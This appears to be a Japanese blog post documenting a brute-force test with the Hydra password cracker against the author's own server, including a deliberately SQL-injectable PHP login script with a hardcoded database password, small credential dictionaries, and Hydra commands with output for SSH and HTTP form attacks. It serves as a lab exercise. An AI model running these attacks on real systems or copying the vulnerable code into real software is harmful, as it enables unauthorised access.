はじめに
hydra(ヒュドラ)というパスワードクラッカーを利用して
ブルートフォースアタックの検証を実施しました。
攻撃対象は自分で用意したwebサーバです。
hydra対応プロトコル
- ftp
- ssh
- http
- imap
- pop3
検証環境
-
攻撃用サーバ(sqlmap実行側):
-
OS: CentOS6.4 x86_64
-
Python: python2.2.6
-
-
攻撃対象サーバ:
-
OS: CentOS6.4 x86_64
-
php: 5.3.2
-
Apache: 2.2.25
-
PostgreSQL: 9.2.5
-
攻撃対象サイト
下記のPHPスクリプトを用意しました。
ログインフォーム(sql_injection-002.html):
<html>
<head><title>ログインしてください</title></head>
<body>
<form action="sql_injection-003.php" method="POST">
ユーザ名<input type="text" name="ID"><br>
パスワード<input type="text" name="PWD"><br>
<input type="submit" value="ログイン">
</form>
</body>
</html>
ログイン処理スクリプト(sql_injection-003.php):
<?php
session_start();
header('Content-Type: text/html; charset=UTF-8');
$id = @$_POST['ID']; // ユーザID
$pwd = @$_POST['PWD']; // パスワード
// データベースに接続しコネクションオブジェクトを生成
$con = pg_connect("host=localhost dbname=wasbook user=postgres password=wasbook");
// SQLの組み立て(プレースホルダは意図的に使用しない)
$sql = "SELECT * FROM users WHERE id ='$id' and PWD = '$pwd'";
$rs = pg_query($con, $sql); // クエリー実行
?>
<html>
<body>
<?php
if (pg_num_rows($rs) > 0) { // SELECTした行が存在する場合ログイン成功
$_SESSION['id'] = $id;
echo 'ログイン成功です';
} else {
echo 'ログイン失敗です';
}
pg_close($con);
?>
</body>
</html>
hydraインストール
hydraインストール前にlibssh
とlibssh-devel
を事前にインストールしておきます。
これをいれないと、hydraでsshのブルートフォースアタックが実行できません。
ちなみに、libssh
とlibssh-devel
はCentOS6の場合、yum
でもインストールできますが
hydraがサポートしているのが、CentOS6の標準リポジトリにはないバージョン0.4.6
だった
ため、rpmファイルをとってきて、手動でインストールしています。
# wget "http://apt.sw.be/redhat/el6/en/x86_64/rpmforge/RPMS/libssh-0.4.6-1.el6.rf.x86_64.rpm"
# wget "http://apt.sw.be/redhat/el6/en/x86_64/rpmforge/RPMS/libssh-devel-0.4.6-1.el6.rf.x86_64.rpm"
# rpm -ivh libssh-0.4.6-1.el6.rf.x86_64.rpm
# rpm -ivh libssh-devel-0.4.6-1.el6.rf.x86_64.rpm
次にhydraをインストールします。
# wget "http://pkgs.fedoraproject.org/lookaside/extras/hydra/hydra-7.6.tar.gz/62af688a07830d505d227bdaaeff9e0a/hydra-7.6.tar.gz"
# tar zxvf hydra-7.6.tar.gz
# cd hydra-7.6/
# ./configure
# make
# make install
事前準備
ユーザIDとパスワードの辞書を用意します。
辞書生成ツールを使ってもいいですが、ここでは手動で以下のファイルを作成しました。
ユーザID(userlist.txt):
# cat userlist.txt
administrator
anonymous
corporatename
yamada <-これがwebフォームログイン用のユーザID
email
guest
root
testuser
uniqueid
user
パスワード(passlist.txt):
# cat passlist.txt
1234
address
adminpass
password
rootpass
qwerty
testtest
zipcode
abcde <-これがsshログイン用のパスワード
pass1 <-これがwebフォームログイン用のパスワード
sshブルートフォース
構文:
hydra -l [ユーザ名] -P [パスワード辞書ファイル] [対象サーバ名/対象サーバIPアドレス] ssh
実行例:
# hydra -l sec-demo -P passlist.txt example.jp ssh
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-20 12:50:54
[DATA] 10 tasks, 1 server, 10 login tries (l:1/p:10), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 203.216.196.223 login: sec-demo password: abcde <-成功している
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-20 12:50:56
httpログインフォームブルートフォース
構文(postの場合):
# hydra -L [ユーザID辞書ファイル] -P [パスワード辞書ファイル] [対象サーバ名/対象サーバIPアドレス] http-post-form 'パス:クエリ:ログイン失敗文字列'
実行例:
# hydra -L userlist.txt -P passlist.txt example.jp http-post-form '/sql_injection-003.php:ID=^USER^&PWD=^PASS^:ログイン失敗です'
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-20 13:11:56
[DATA] 16 tasks, 1 server, 100 login tries (l:10/p:10), ~6 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 203.216.196.223 login: yamada password: pass1 <-成功している
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-20 13:11:57
最後に
httpログインフォームのブルートフォースアタックで、ログイン成功文字列を指定する方法を知りたい、、、